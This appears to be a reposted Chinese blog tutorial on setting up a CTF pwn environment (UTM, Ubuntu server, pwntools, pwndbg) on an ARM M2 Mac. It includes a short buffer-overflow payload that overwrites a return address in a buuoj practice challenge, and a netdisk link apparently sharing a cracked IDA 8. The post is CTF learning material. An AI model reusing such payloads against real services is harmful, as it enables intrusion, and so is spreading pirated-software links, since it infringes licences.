arm m2 下 pwn 环境配置
2023-7-14 14:15:0 Author: xz.aliyun.com(查看原文) 阅读量:8 收藏

前言

前一段时间ciscn线下赛半决赛一个go的题目,给了二进制程序,给了源码,但是因为go需要联网下包才能编译,不然是不行的,考虑patch二进制程序,当时没ida啥也没,程序也跑不起来没法本地调试 我直接** 最后还是用了队友的windows去给题目解了的,然后我也一直在找arm下跑x86的方案,也就总结了一下,整理发出来

环境

mac os 版本为13.4.1

utm版本为4.2.5

安装utm的环境就不在多说了,直接跳过,由于网上都是装desktop版本的,然后再去卸载桌面的那种方式,我队友告诉我会很卡装了很久,我就寻思找了个server 的镜像

下载镜像

笔者这里下载是2210,其他版本应该也一样 osboxes 封装了很多现成的环境,直接拉就行了而且还写了密码

Username: osboxes
Password: osboxes.org
Open VM Tools: Not Installed
Keyboard Layout: US (Qwerty)
VMware Compatibility: Version 10+

https://www.osboxes.org/ubuntu-server/#ubuntu-server-20-04-4-info

下载完成后解压得到vmdk

然后配合qemu给他转换为qcow2

qemu-img convert -f vmdk -O qcow2 Ubuntu\ Server\ 22.10\ \(64bit\).vmdk Ubuntu2210.qcow2

选择模拟 选其他

默认

名字自定义

点击编辑

点击新建磁盘 导入qcow2就行了

到这基础的配置就完事了,登录进去,给个dhcp就有ip了这里可以自己去配置什么什么的都ok,然后直接ssh链接进去

apt install proxychains -y 安装下工具 ,这里是我存粹懒的换源了
然后clash开启下允许局域网连接

部署环境

先去安装

proxychains apt update
proxychains apt install python3-pip  python3-dev -y
proxychains pip3 install -U pip 
proxychains pip3 install pwntools
proxychains apt install gdb
proxychains git clone https://github.com/pwndbg/pwndbg
proxychains ./setup.sh

这里给pwndbg也安装上去了

然后随意拉一个pwn的程序就行了,这里我拉的是

https://buuoj.cn/challenges#rip

gdb成功运行起来,然后我们测试下poc

from pwn import *
p=remote("node4.buuoj.cn",xxx)
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()

安装zsh

proxychains apt install zsh -y
proxychains wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh
proxychains sh install.sh

到这就配置完成了

tips

配置ssh 免密码登录


给我们本地的key直接写到ubuntu

vim ~/.ssh/config

Host pwn
    HostName 192.168.64.4
    User root

ida8 for mac

都放到百度网盘了

链接: https://pan.baidu.com/s/1f1Tzwh5CximErgaLRCkToQ?pwd=wdg7 提取码: wdg7
--来自百度网盘超级会员v5的分享


文章来源: https://xz.aliyun.com/t/12694
如有侵权请联系:admin#unsafe.sh